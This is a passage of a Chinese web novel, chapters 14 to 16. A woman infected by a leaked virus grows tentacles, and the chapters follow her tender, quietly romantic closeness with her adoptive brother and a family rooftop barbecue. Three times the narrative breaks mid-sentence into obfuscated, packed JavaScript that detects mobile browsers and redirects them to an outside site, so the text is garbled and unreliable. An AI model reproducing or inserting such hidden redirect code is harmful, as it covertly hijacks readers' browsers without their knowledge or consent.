唐周恒鼻尖逸散着她独有的气味,还有他们用的同一款的沐浴露香薰,他身体轻轻地颤抖着,抱着她的力气忍不住加剧。 触手将他们紧紧地缠绕在一起。袁清悦一边感觉到触手有些凉的触感,一边感觉到唐周恒身上散发的热气。 颇有一种冰火两重天的感觉,但她感觉很奇妙,好像有些好玩。结果没控制住力道,触手缠得跟紧了。 唐周恒直到自己的愉悦值达到了顶峰,喉咙猛地呼了一口气,身体才停下刚刚的颤抖。他知道,这一般是他身体感觉到足够触摸之后的反馈。 也就是说,他现在不需要袁清悦的触摸,也不会难受了。 但出于私心,他没有主动提起结束这次的抱抱。他默默地承受着她的温度与气息,以及身体异变触手的力度。 要是这样死在袁清悦的怀里就好了……唐周恒心里闪过这样的想法。 他嘴角微微扬起,笑着。 “小悦,你好久没有这样抱我了。”唐周恒低声控诉道。 哪怕他自己知道袁清悦压根就没有这个义务满足他对于触摸的渴望、没有这个义务满足他要被拥抱的需要。 “哥,那是因为你这次出差太久了。”袁清悦顿了顿,“半个月,我半个月没吃你做的四喜丸子了!我明天要吃丸子。” “好。”唐周恒答应地很快。 他对她向来是有求必应,只是袁清悦很少会需要他做点什么,除了做饭给她吃。 其实袁清悦也会做饭,厨艺不好不坏的水平,但也有几道拿手菜做得很好吃,还都是唐周恒教的。 就连现在的智能家电系统也有能力做出一顿丰盛的家常菜,但人嘛,总觉得最原始原汁原味的才是最好吃的。 而唐周恒作为他们家里做饭最好吃的人,义无反顾地承担了给小悦做饭的任务。最重要的是他也不想她接触油烟,不想让她在家里忙活太多。 唐周恒做饭不仅仅会考虑到色香味俱全,还要考虑到它营养的搭配,健康的身体离不开健康的饮食。为了保证袁清悦每天能摄入充足且合理的营养,他甚至还去考了个营养师证。 久而久之,袁清悦也很少做饭了,每次都是想吃什么都和自家现成的大厨提。 “对了,哥,今天傍晚孟医生和你通话我听到了。” 袁清悦确诊了,确实被实验室泄露的未知病毒感染了。 “嗯,怎么了小悦?” “孟医生想让我去当受试者,你为什么拒绝了?” 这次的病毒实在太诡异了。 目前的流行病学调查和科学研究都没什么进展。 专项组这边的科研研究团队自然是希望能有感染的患者协助研究,这类人被统称为受试者。 受试者有可能还要接受实验性治疗,接受药物以及协助寻找更好的治疗方法。 但这次患者的数量不算很多,专项组研究团队这边自然是希望有更多的患者作为受试者协助研究。 袁清悦倒不介意去当受试者协助孟明轩他们的研究。 只是今天下午唐周恒以袁清悦最近没时间这样很敷衍的理由拒绝了孟明轩的邀请。 唐周恒抿唇,“你今年也没怎么休息过,好不容易有休息的时间就在家里休息吧,去做受试者也并不轻松。” 袁清悦哦了一声,没多想也没再追问。 自从病了之后,她的精气神确实没之前的好了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14459641|153141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体也容易感到疲惫。 特别是今年她跟的团队接了不少项目,她上半年有些忙,也该是需要休息一段时间了。 袁清悦靠在他的身上,感觉自己身上都是他的气味了。 她没有算时间,不记得自己抱着唐周恒抱了多久。 但见他一直没有提,她也没有松开自己的手,只是她有些累了,靠在他身上时的力气都变得有些轻飘飘的。 就连声音也变得柔软了一些:“哥,现在我真的要变成章鱼了,可是你还是人。”袁清悦冷不丁地开口,“你变不成章鱼,只有我长了触手。” “小悦,对不起啊,我这确实没法变得和你一模一样……”唐周恒想起袁清悦夜里和他打电话时说的话了。 他沉默了一瞬,随即将头靠在她的肩上,下颔隔着她单薄的睡衣若有似无地蹭了蹭。 他们总归没法像小时候还没有性别意识那样过分亲密,唯独在他肌肤饥渴发作的时候,会这样亲昵地拥抱着。 唐周恒便总是借着自己的私心,变本加厉地获取与她肢体亲昵的机会。 “不过……”袁清悦顿了顿,“我感觉哥你现在像别的动物。” 她用手将唐周恒的头推开,掌心正巧贴在他的下颔处。 唐周恒下意识地将脑袋歪向她的掌心,与她还有些凉的手心紧紧相贴。看着袁清悦眨着眼的模样,他忍不住用脸颊贴着她的掌心蹭了蹭。 “哥,你现在像小狗,不对,应该是大狗狗。”袁清悦转了转眼珠,回忆了一下自己认识的中大型犬,“像黑白色的边牧。” 唐周恒抬起头,靠在她肩上忍不住闷闷地笑出了声。 袁清悦有时候不太能理解人类的笑点,有时候同事在聊天大家笑了的时候,她时常会觉得有些摸不着头脑。 比如她现在不知道唐周恒为什么笑了。 但为了面对同事的时候,她已经习惯将自己伪装成一个正常人,所以她也会跟着同事一起笑。 “唐周恒,你怎么突然笑了?”她语气不解,连名带姓地问他。 唐周恒笑得更厉害了。 “小悦,你好可爱。”唐周恒笑道,“嗯,我是大狗,你说我是什么我就是什么。” “可爱?” 袁清悦眨眨眼,她吸了吸鼻子,感受着他身上散发出的那股独特又浓郁的香味,“哥,你也挺可爱的。” 唐周恒有点得意忘形了,忘记了所有本该和她有的界限,忍不住抱着她在自己腿上掂了掂。 他甚至在想,就算一辈子和袁清悦就保持这样的关系,好像也足够了,这已经算是上天的赏赐了。 袁清悦下意识搂住他的脖颈,身体贴近他的上身,随即她感觉到他贴在自己身上的肌肉,那两块最壮硕的胸肌…… 她抬起手摁在唐周恒的肩上,触手也跟着攀在他的肩上。 随后,袁清悦身子往后仰了仰,低下头,仔细端详着眼前的画面。 她指尖从他的肩上向下滑落,最后落在他身前隆起的部位,掌心贴了上去。 “哇,哥,你的胸肌好大啊。” 14.喜欢喜欢14 袁清悦边说着,边用手虚虚地贴近,细细地感受着身体的触感。 左胸口的心跳却震得她手心发麻。 她是被唐周恒看着长大的,理所当然地,她也看着唐周恒长大。她完整地观看了唐周恒一身的肌肉是如何练就的。 唐周恒习惯她时不时冒出一些语不惊人死不休的话来,“嗯,最近有锻炼,所以肌肉可能明显了一点。” 但他还是忍不住撇开头,有些难耐,没法与她对视,耳根感觉热得发烫。 或许比今天早上袁清悦吃的那个饺子还要烫。 “哥,我可以摸一摸吗?” “嗯。”他抿着唇,微乎其微地点了点头。 从小到大袁清悦已经习惯于与唐周恒肢体的依赖。 只是单纯的习惯而已,习惯和唐周恒的触摸,习惯他一直在自己身边。 所以他们之间的关系总不能和普通的异性朋友相比较。 甚至也没法和普通的兄妹关系来比较。 这样的拥抱与触摸,对于他们来说应该是很正常的。 哪怕唐周恒知道这其实是不正常的,但因为对方是袁清悦,所以他没法抗拒。 袁清悦理所当然又肆无忌惮地将手心贴到他的胸口上,掌心很快就感受到唐周恒比自己略快一些的心跳频率。 那是生命的证明,是他们还活着的证明。 袁清悦又低头又仔细看了看,嘴角没有笑意,但灰色的眼睛却闪着点点亮光,昭示着她现在的好奇。 “真的好大诶。” 就连她的触手也忍不住从身后探了个头,搭在唐周恒的肩上,隐隐约约地隔着睡衣触碰到他的胸口。 袁清悦看着攀附在唐周恒背后的触手,忽然转移话题:“哥,你说如果我的触手不小心受伤断肢了,它是不是也会重新长回来。” “按理来说,应该是的。” 袁清悦被病毒感染的触手除了因为适应陆地生活没有像真正的章鱼触手那般黏腻潮湿。 但从外观到它运动的状态,甚至运动的机制,都和现实中真正存在的章鱼触手很相似。 而章鱼的触手具有很强的再生能力,断开之后甚至不会流血,伤口能快速愈合,甚至能在第二天就快速长出新的触手。 “那断肢能拿来做铁板烧吗?”袁清悦忽然有些想吃烧烤了。 光是这样说说,她都产生了幻嗅,大脑迅速联想到烧烤的香味。就连唾液腺也跟着大脑的想法止不住分泌。 “嗯?”唐周恒抬起眼睫,“小悦,你这脑回路怎么想的。” 因为她坐在他身上,位置比他高一些,他微微抬起头望向袁清悦。 他松开一只手臂抬起忍不住摸了摸她的头,才发现她发顶有些湿,大概是洗澡时候被弄湿的,到现在还没干透。 “我在想,要是这个病毒在小时候泄露就好了,那样我被感染了岂不是能把自己的触手切来吃了,我俩就不会饿肚子了!”袁清悦越想越美。 只是她话音刚落,趴在唐周恒身上的触手似乎僵硬了一瞬,随后瞬间收缩,从空气里消失。 “啊,我没有真的想把触手吃掉的意思……”袁清悦此地无银三百两地和自己的触手解释。 但触手收起来,没有再冒出来缠在她的身上。 她转身看着自己的身后,只有自己印着花色的睡衣。 “呵呵,它们是不是被我吓到了。” 触手是从她尾骨上方不到一掌的距离延伸出来的,所以每次触手出现的时候,都会将她的睡衣衣摆掀起一小片。 唐周恒低头慢条斯理地将她的睡衣理好。 “应该是吧。”他低声笑道。 袁清悦不知道唐周恒为什么又笑了,但她能感觉到他现在好像很开心。 “哥,我明天想吃烧烤了。” “后天吃可以吗?” “为什么?”按照唐周恒的习惯,他肯定会马上答应。 除非她身体状况不允许她吃某些食物,他也会直接拒绝。 “后天爸妈来看你,要是想吃烧烤的话,我们可以一起去天台烧烤。” 袁清悦的养父母袁向茵和季晖,住在距离他们不到五十公里的地方,袁向茵和季晖年轻的时候也是搞科研的,袁向茵后来一直在当医生,而季晖从了商。 但父母这边有不少朋友就是相关的业内人士,袁清悦再怎么想瞒住父母不想让他们担心也瞒不住,所以他们得知袁清悦确诊的消息之后,决定后天来看看她。 “好诶,那后天吃。” “小悦,你还记得吗?” 唐周恒将头轻轻地靠在她的肩上。 “我们第一次去吃烧烤的时候,你喝了好多好多果汁,我没留意看着你,你吃得太多了,后来半夜肚子疼得受不了,爸妈怕是闹胃病,叫医生过来也不方便,直接连夜爬起来送你去医院。” 袁向茵和季晖并不是唐周恒法律意义上的养父母,但十三岁以后他也一直在他们家长大,唐周恒索性改口也叫他们爸妈。 “哥,那么久以前的糗事你怎么还记得。” “和你有关的所有事我都能记得住。”唐周恒闭上眼睛,真的想就这样死在她的怀里。 他还记得袁清悦都难受到浑身冒冷汗了,胃疼到手心全是她抓着自己的指甲印,硬是一滴眼泪都没有冒出来,她不仅不会笑,还不会哭。 就连他,也没见她哭过,除了打哈欠溢出的生理性眼泪。 毕竟笑可以假笑,但假哭袁清悦真的做不到,就连她那演技公认不错的姐姐也做不到瞬间落泪呀。 “我真的不知道吃饱是什么感觉的。”袁清悦低下头,长发顺着重力的作用自然垂落,轻轻地落在唐周恒的手臂上,挠得他有些痒痒的。 “那会只觉得好好吃啊,好怕那些好吃的东西只是一场梦,哪怕觉得是梦都下定决心要吃很多很多。” 袁清悦也还记得那天的事,妈妈和爸爸在忙着烧烤食物,唐周恒也在帮忙,姐姐叫了好朋友来一起烧烤,在和小姐妹聊天。 没人盯着袁清悦看,她就没控制住吃了太多东西。 那个时候的袁清悦把每天都当成最后一天过,从她得知可能要被收养的时候起,袁清悦就听说过很多福利院小孩收养又被退回的事情。 她害怕自己表现得不够好,怕以后会被爸爸妈妈退回去,所以每一天都当成最后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14467150|153141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天过。 但爸爸妈妈从来没有嫌弃她吃得太多,也不会因为她性格问题觉得她太过沉闷不像正常的小孩就抛弃她。 还会在她学习得太刻苦的时候让她休息休息,见她对机甲感兴趣就找老师当私教。 知道她喜欢毛绒娃娃,给她准备了一个专门放娃娃的小房间。 “小悦,我们以后不会再挨饿了,至少有我在,一定能让你吃饱的。”他轻声道,语调轻柔极了。 “嗯。”袁清悦总觉得现在好像回到了小时候,她将身子缩在他的怀里,结结实实地靠上去,胳膊正好贴在他的胸膛上,软弹软弹的,很舒服。 他们最饿的那一年里,会经常抱在一起取暖,但那个时候的唐周恒和她抱起来都很硌人。 毕竟皮包骨的身躯再怎么抱也不太舒服。 但现在这样抱着,温暖又服帖。 唐周恒身上的香味一直没有消减,袁清悦甚至已经闻不到自己身上沐浴露的气味了,但唐周恒的味道还是那样浓郁。 她已经知道香味敏感也是这次感染病毒后的一个病症。 袁清悦突然低下头,将脸靠在他的肩上,用力地吸了几口。 唐周恒被她的动作弄得有些僵硬,不过很快他就适应了,还将头微微扬起,让她更好地汲取他身上的气味。 “哥,你真的好香诶。”她嘀咕了一句,语不成调,困意像唐周恒的香味一样来的猛烈,她眼睛开始有些迷瞪。 不知又过了多久,袁清悦睡着了,就靠在他的怀里睡着了。 袁清悦睡得并不是很沉,意识处于有些模糊的状态,似乎还能感觉到唐周恒的心跳与他的气味。只是她一点儿劲也没了,困得完全不能动弹。 唐周恒轻叹了一声气,轻车熟路地将她抱起,送回了她的床上。 将被子替她盖好,又把她床上那只巨大的熊娃娃摆放好。 袁清悦的房间只留下一盏夜灯,昏黄的灯光让整个房间都显得格外温馨。 唐周恒坐在她的床边,端详着她的睡颜。 从小到大不少人说他们长得像,有些不知道他们真实关系的人,甚至会以为他们是亲兄妹。 尽管没见过自己的生理学父母,但袁清悦和唐周恒极有可能是来自同一个地方同一个种族的人。 加上从小到大一直在同样的环境长大,就连吃的东西也没什么差别,他们长得有些相像也是正常的。 虽然长相细看确实有些像,但唯独那双眼瞳的瞳色天差地别。 袁清悦的眼瞳是有些浅的灰色,而他的浅金的琥珀色。 她睡觉的时候喜欢将手放在被子外面,所以唐周恒还特意将她的手搭在被子上。 他蹲坐在她床边的地毯上,握起她的手,将自己的头靠了过去,脸颊与她的手心贴近的瞬间,唐周恒感觉自己的手都在颤抖着。 今晚他明明已经被袁清悦抱了很久很久,他为什么还是那么不满足…… 唐周恒托着她的手背,脸侧轻轻地蹭着,袁清悦的手心也散发着淡淡的花香味,那是她沐浴露的气息。 直到唇角贴在她的手心时,唐周恒忽地抬起头,再低下头将嘴唇贴到她的手心上。 15.喜欢喜欢喜15 柔软的唇与同样柔软的手心相触的一瞬间,先迎来的是她手心上的花香味,像一缕勾人的烟雾绕在他的鼻尖。 唐周恒的鼻尖似乎比自己的嘴唇更先碰到她的手心,而他温度略高一些的掌心贴在她的手背上,托举着她的手不断地靠近自己。 他跪坐在她床前的地毯上,目光透着极致的温柔,像是在看自己的珍宝。 他膝下的这张地毯还是他和小悦一起逛街时买的。 买了两个,一张放在她的房间,另外一张自然就在他的房间了。 都是异形的卡通猫猫头地毯。 袁清悦从小就有些喜欢小猫这种动物,不过她也没有很想养一只,只是单纯地喜欢小猫这种外形又毛茸茸的可爱动物。 这是她唯一一个与她性格看起来有些不符的偏好。 不熟悉袁清悦的人,或许觉得她更像是那种喜欢性冷淡风的人。 但姐姐送给她的名牌包包上都挂着价格与三个叉烧包相等的小猫挂件。 唐周恒也还记得袁清悦还有个很喜欢的白色刘海夹,夹子上粘贴了一个小猫亚克力作为装饰。 他微微侧着头,透着昏黄的床头灯灯光细细地看着袁清悦,越看心里越发紧,连带着他握着她手背的力度都不自觉地加深,嘴唇不再是像刚刚那样若有似无地贴她的手心。 而是一下、两下地沉沉地亲吻上去…… 亲了有些久,唐周恒自己也不知道自己在她的手心上落了多少个吻。 在小悦眼里,这不过是肉碰肉而已,就算她知道他在亲她,她也不会觉得怎么样的。 她十八岁生日那天因为贪杯喝得微醺了,还抱着他亲了一顿。 除了袁清悦有时候想喝葡萄酒又或者鸡尾酒,唐周恒近乎没有再喝过别的酒,离酒精最近的时候也不过是在实验室使用无水乙醇。 但他现在感觉自己好像处于酒精作用的麻痹中,不愿意醒过来。 直到袁清悦忽然像是梦中呓语,喉咙间无意识地“嗯”了一声时。 唐周恒才将脸从她的手心里抬起,连带着自己也清醒了过来。 他站起身,替她重新将被子掖好后,又将手心贴在她发顶。 确认她的头发彻底干了后,才关掉房间的夜灯,连带着房间门也轻轻地合上。 唐周恒离开房间后没多久,袁清悦躺在床上的身体就开始不老实了,她翻了个身,背后就裸露了一小片。 刚睡着的袁清悦其实还没处于深度睡眠中,意识在梦境与现实中游走。 她似乎听到不远处的浴室传来淅淅哗哗的水声。 袁清悦又翻了个身,将腿压在自己的大熊娃娃上,又沉沉地睡了过去。 …… 袁清悦这两天就像米虫一样蛀在家里,吃饱了玩,玩够了又睡,睡足了又起来吃。 一早起床,她就开始兴致盎然地和唐周恒计划着周六这天一家人的烧烤,结果妈妈因为一场临时的手术来不了。 “妹妹,你老爸先去你那边,他最近有空,等妈妈忙完这个手术再去你家。”袁向茵的声音从手环的传声器传出。 袁清悦的养父母感情一直都很好,当年谈恋爱的时候就说过第一个孩子要和袁向茵姓,袁思云理所当然地跟了妈妈姓。 生完袁思云季晖就去结扎了,夫妻俩没有再生第二个孩子。 再后来收养袁清悦的时候也不是没考虑过要不跟爸爸姓,但因为一些缘故,也跟了妈妈姓—— 袁清悦是福利院里面身体状态差不多算最好的小孩了,毕竟没有断胳膊断腿……但她身体还是伤了根本,一直瘦瘦小小的,怎么吃怎么治疗都长不了身体。 两个坚定的唯物主义者大概是急病乱投医了,请了个大师给她算了个据说能保住健康的名字,大师还说和妈妈姓好一些。 袁清悦便也跟着妈妈姓了。 不知道是神明听到了他们的祈求还是什么缘故,后来袁清悦身体还真的好了许多,长高了也结实了一些。 “妈妈,没关系的。”袁清悦抱起沙发上的抱枕回道,她抬头又了一眼唐周恒。 “其实我也没事的,医生那边说暂时没有大问题。” 她扣弄着抱枕的角,“而且哥哥在我身边,就算有什么事也有他帮衬着。” 至于烧烤什么的,点个外卖也不是不行。 “阿恒在我们肯定放心些,要不我们周日再来,好吗?” 当然,烧烤什么的,迟一天吃也不是不行。 “好啊,妈妈,我想吃烧烤,好久没有吃过了,要是你和爸爸一起来的话,我们晚上可以去天台做烧烤。” 听见她的话题扯到吃上面去了,袁向茵松了一口气。 她知道以袁清悦的性子,只要她还在想吃的东西,那她的状态肯定差不到哪里去。 之前她刚被感染重感冒时,连粥都吃不下几口。 “好,我让你老爸去订些海鲜,周日一起带过来。”袁清悦半躺在沙发上,聊起劲了,脚下意识就搭在唐周恒的大腿上。 她有个不好不坏的习惯,睡觉或者闲着的时候,总喜欢找个东西垫脚,床上那个大熊娃娃就是给她搭脚用的。 小时候和唐周恒一起睡在一张床上的时候,那唐周恒就会成为她搭腿的工具人。 唐周恒坐沙发的另一侧,正看着工作上的一些事,袁清悦脚踝压过来的时候他怔了一瞬。 唐周恒条件反射地先握住了她的脚踝,再抬头看向袁清悦,她还在和妈妈煲电话粥。 他放下手里的东西,掌心覆在她的脚踝上,没有被衣物覆盖住的脚踝有些凉,他扯了扯她的长睡裤盖住那片肌肤。 袁清悦手里还在无意识地扣弄着抱枕的边缘缝线,她抬头看了一眼唐周恒,又低下头继续和妈妈说话。 其实她也不知道能和妈妈说什么话题,但袁向茵很健谈,哪怕自己这个女儿闷得像葫芦,她也会引导她说很多话。 因为担心战争会给两个小孩患上战后创伤应激综合征,从将孩子接回家后,他们就联系上专业的心理医生对孩子进行疗愈。 唐周恒的表现倒还好,但袁清悦看起来有些不太对劲。 身为医生的袁向茵比较敏感,甚至还怀疑过袁清悦是不是有高功能自闭症谱系障碍,但好在检查的结果是正常的。 或许只是性格使然,又或者是刚被收养还不适应现在的生活,袁清悦才一直闷闷的,没什么情绪起伏。 后来成长中的袁清悦看起来越来越正常了,袁向茵和季晖才放下心来。 不过医生还是建议她多说说话,多表达自己的情绪。 袁清悦虽然不太理解医生的建议,但为了不让父母太担心,她也照做了。 所以她和亲近的人聊天时,话题的跨越度总是大得惊人,经常想到什么就说什么。 直到她和妈妈聊完又和爸爸说了几句话后,唐周恒甚至已经看完好几篇文献了。 而他的掌心还贴在她的脚踝上,怕她乱动,又怕她抽离。 通话挂断之后,袁清悦就坐起身,挪着身子靠近唐周恒,“哥,听到了吗,妈妈说周日再来了。” “嗯,我刚刚有听到。” “那我们要吃什么,我想吃烤鸡翅,还要撒很多葱花不要辣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14474080|153141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” “好,你想吃什么就买什么材料回家。” “还有还有,我要吃鸡中翅鸡全翅烤肥牛火腿肠羊肉串,还有还有,我要吃鱿鱼,爸爸买海鲜的话,还有炭烧生蚝……” “好好好,想吃什么都有。”唐周恒侧头看向她,“但不能贪嘴,别吃太多,别闹得胃不舒服了。” “嗯。”袁清悦忽地吸了吸鼻子,突然将头凑近,“哥,我要闻一闻。” 还没等唐周恒回复,她就抓着他的衣领凑过去猛吸了几口。 唐周恒最近已经习惯她时不时说他身上很香,以及时不时抓着他猛地吸上几口的动作。 他和孟明轩聊过这件事,大抵能猜测到袁清悦现在的香味迷恋症状的机制大概是香味带来的嗅觉的刺激能分泌内咖肽等激素,让她产生满足感与愉悦感。 所以她需要接受她喜欢的香味的刺激。 比如他身上的味道。 唐周恒有些庆幸,庆幸自己在她的感知中是香的。 袁清悦的发顶温热,顶在他的下颔,短一些的新长出的发丝就像她那些娃娃一样,有些毛茸茸,轻轻地抚摸过他的脸侧。 唐周恒呼吸一滞,随即搂住她。 袁清悦吸够了,才想起今天好像还没抱过唐周恒,他的肌肤饥渴症有没有发作,会不会难受。 她探着头看了他一眼,手臂一挥,搭在他宽实的背后。 “哥,你是不是又有些不舒服,没事,我今天没什么事干,可以和你抱很久。” 以往工作日,袁清悦只能在洗完澡睡觉前那一小段时间有空,能抽出些许时间来抱一抱唐周恒,缓解他从小到大都没法根治的肌肤饥渴症。 “嗯,小悦……”唐周恒调整了一下和袁清悦的姿势,让她抱得更舒服些。 触手也静默地跟随着袁清悦的手臂,绕在他的身上。每次只要袁清悦抱着他,触手也会探出来,将他们一起裹紧。 袁清悦只感觉唐周恒一身练得完美的肌肉实在太适合拥抱了,每次在他身边闻到他身上的味道,以及互相传递对方体温的时候,她总觉得有些困,因为太舒服了,所以就很容易睡着。 就像小时候哪怕过得很苦,在哥哥的怀抱里总是很容易睡着那样。 周日一早,季晖的助理就将烧烤的食材送了过来。 唐周恒怕大家晚上积食,烧烤很早就开始准备。 爸妈去接袁思云一起过来,所以稍迟一些。 “哥,这个好香啊。”袁清悦双手搭在唐周恒的肩上,从他身后踮起脚,将脑袋探了出来。 “有些烫,得晾一晾才能吃。”唐周恒笑道,将弄好的几串烧烤放到盘子里。 “好。”袁清悦搓搓手,但还是因为实在有些等不及,等了没多久就开吃了。 “小悦,还有很多没烤呢,你想吃的实在太多了,如果每个都吃一整串的话,你的胃肯定容纳不了。” 唐周恒顿了顿,坐在她面前,“你要不先吃一半,留一半。” 袁清悦嚼着肉说不出话,只点点头,等咽了下去才开口道:“那剩下一半怎么办?” “你给我吃吧,我吃你剩下的就好。” “哦。” 袁清悦点点头,刚刚好手里的烤串吃了一半,她递到唐周恒面前,但递出去的动作又停滞在半空中。 “但是,哥……” 怕他嫌弃自己吃过的东西,袁清悦本还有些犹豫,话还没说完时,唐周恒就摁住了她的手。 她的手背上感觉到唐周恒指腹的温度,只见他低下头,沿着她刚刚吃过的最后一口的位置,咬了下去。 16.喜欢喜欢喜欢16 顶楼的光采很好,站在这往四周眺望,还能看见像入画似的小山坡,灰蒙蒙的,像是幻境里才有的画面。 临近傍晚的日光并不毒辣,反倒是有些温暖,斜射的金黄色光芒打在唐周恒的脸上,显得他更加温和。 袁清悦只见他垂下眼睫,直接把她刚刚吃剩一半的肉放到自己口中。 她拿着烤串的手本还下意识地抽了一下,却被唐周恒摁紧,将她的手以及烤串继续往自己嘴边送。 袁清悦眨眨眼,看着他吃完剩余的肉。 唐周恒抬起头,抽了张纸巾,擦了擦袁清悦的嘴角。 “小悦,现在才是开胃菜呢,海鲜什么的还没上,别吃太急。” 袁清悦抿了抿被擦干净的嘴唇,才惊奇地发现唐周恒吃烤串的时候嘴角不会沾上油渍。 “哦,好的……”她一板一眼道,低下头把串烧烤的签子扔好,又两眼放光地吃了两个肉丸子。 “哥,你要吃丸子吗?” “吃。”唐周恒又握着她的手将她吃剩下的那个丸子送到自己嘴里。 才吃到一半就看见袁清悦突然往他身后看。 “妈妈。”袁清悦将丸子给唐周恒拿着,朝袁向茵他们招手。 “妹妹!” 袁清悦刚被收养的时候还没取好名字,季晖和袁向茵就叫她妹妹,后来取了名字,也习惯叫她妹妹,从小到大这样叫。 袁向茵握着她的手上上下下看了一遍,也没发觉她身上有什么不对劲的地方,“妹妹啊,你那个病毒感染的病,现在怎么样了?” 唐周恒将她吃剩的丸子咽下,站起身,“妈,最近小悦的情况还好,这次病毒的攻击性并不强,只是病症以及一些并发症有些无厘头。” “没事就好,要是不舒服随时联系家里的医生。”季晖拿了条薄围巾披到袁向茵身上,临近傍晚时分,天台的风大了些。 丝绸质地的丝巾顺着风的方向飘扬,袁清悦闻到了妈妈身上的茉莉花香,以及爸爸身上有些清冷的木质香。 她挨着唐周恒,低头又嗅了嗅他身上的香味。 “嗯,爸妈不用担心。”袁清悦抬头,后知后觉地意识到现在她应该要笑一笑,她又朝着爸妈和姐姐扯出了个标准式微笑。 没有将自己的病症是长出触手这件事告诉他们,是袁清悦和唐周恒共同的决定。 主要是袁清悦也不太想让家人太过担心她。 就连袁思云也只是知道袁清悦被感染了而已。 见袁清悦这副能一下子干三碗饭的姿态,袁向茵放下心来,开始愉快地享受一家人难得在一起的时间。 袁清悦这次吃东西学会收敛些了,怕还没吃到更好吃的就吃饱了,她一直留着肚子。吃过的都剩了一半整整齐齐摆在盘子里,再给唐周恒解决掉。 “哥,你烤的,好吃。”袁清悦朝着他竖了个拇指。 “妹!这是我烤的。”袁思云挤过来,眼瞧着唐周恒把袁清悦剩下的那份吃掉了。 “哦,那姐姐烤的,好吃!”袁清悦又朝着袁思云竖了个大拇指。 唐周恒只是笑笑,将袁清悦吃剩下一半的烤串全盘收入。 因为吃得早,各自吃饱后天还是亮堂堂的。 傍晚的风有些大,但又怡人。 “这里环境其实还挺好的。”袁向茵吸了一口空气,朝着远处眺望,夕阳留下的余晖红得发紫,从云层中散出又隐匿于云层中。 因为是顶楼,磁浮轮车不会开在那么高的高空中,城市的喧嚣显得有些遥远。 季晖和袁向茵本来想给袁清悦他们安置一个带花园的小栋别墅,但袁清悦觉得没什么必要,而且就她和唐周恒两个人住,买个距离工作地点近的小居室就够了。 现在住的这套房子开发商是季晖的朋友,最顶的两层楼不出售,天台这里是允许置办烧烤活动的。 之前有邻居弄过几次烧烤,袁清悦还一起去蹭过饭。 “嗯,我和哥哥住在这还挺舒服的。”袁清悦和唐周恒轻车熟路地开始收拾残局。 “开心就好。” 等父母和姐姐都离开家后,还没到晚上九点钟。 天边也不是黑沉沉的,而是深邃的蓝色。 袁清悦回到家后就洗了澡,洗澡时她将泡泡打在碰了水就会变得滑腻腻的触手上时,不禁想起今晚吃的烤鱿鱼串。 她下意识地咽了咽唾沫,触手软趴趴地搭在她的手上,一副看淡生死的模样。 等她才用浴巾擦干触手,几只触手瞬间就不见影了。 袁清悦摸摸下巴,心想她真的要去找大水母怪外星人交流交流触手的使用说明。 “哥,我要闻一闻。”见唐周恒从浴室里出来,她就扬起手臂。 “好。”他坐到她身侧,静静地被她抱着又猛吸了一顿。 袁清悦最近对他身上的香味好像越来越敏感,甚至有些依恋,每次凑到他肩窝汲取气味的时候,触手也会一起伸出缠绕在他们身上。 但今晚触手没有冒出来,唐周恒来不及思考那么多,就沉溺于她的怀抱中。 直到袁清悦又在他怀里睡着了,他才结束这个为期许久的拥抱。 “怎么又睡着了?”唐周恒有些疑惑,只当她最近受到病毒的影响,或许很容易疲惫。 随后他像往常那样,把她抱回房间。 …… 被病毒感染的研究员们,不是在实验室里当受试者,就是以工伤在家中休息。 袁清悦又在家里当上了米虫。 每天不是吃饭睡觉上上网,就是抱着唐周恒猛吸一顿,满足她对于香味的需求。 但这样的日子才过了一周,她就有些受不了了。 她感觉自己再这样下去,就不是米虫了,而是大米上的曲霉菌。 因为她无聊到快要发霉了。 袁清悦甚至无聊到去房间看文献,顺便处理了一些工作上的数据。 吃过早饭后的早晨格外美妙,袁清悦越算越兴奋。 一直以来,她其实没有什么很爱好。但从小到大她就很痴迷于将难题解开的感觉,那是一种外界其他事物无法带给她的快感与兴奋。 早饭过后,唐周恒做了点糕点准备给她当零食,结果烤箱刚刚结束工作时,他收到了同事的电话。 由于目前还没找到病毒的具体来源以及消杀方法,海洋生物科学研究所大楼目前还在封锁中。唐周恒也跟着袁清悦一起在家里休假。 但有些研究员的实验进度不能中断,他们也只能提申请穿着特制的防护服进入实验室。 如果能将实验材料转移到其他实验室的,暂时借用其他研究所或者团队的实验室是最优解。 唐周恒上次出差和同事们带回的样品就被放置到了一个私人名下的生物研究实验室,他们团队还和老板借用了一间微生物实验室。 刚刚同事打电话过来告诉他,样本出了些问题,得让他过去一趟。 这个私人名下的实验室在城郊,距离家有些远,所以他现在就要出门了。 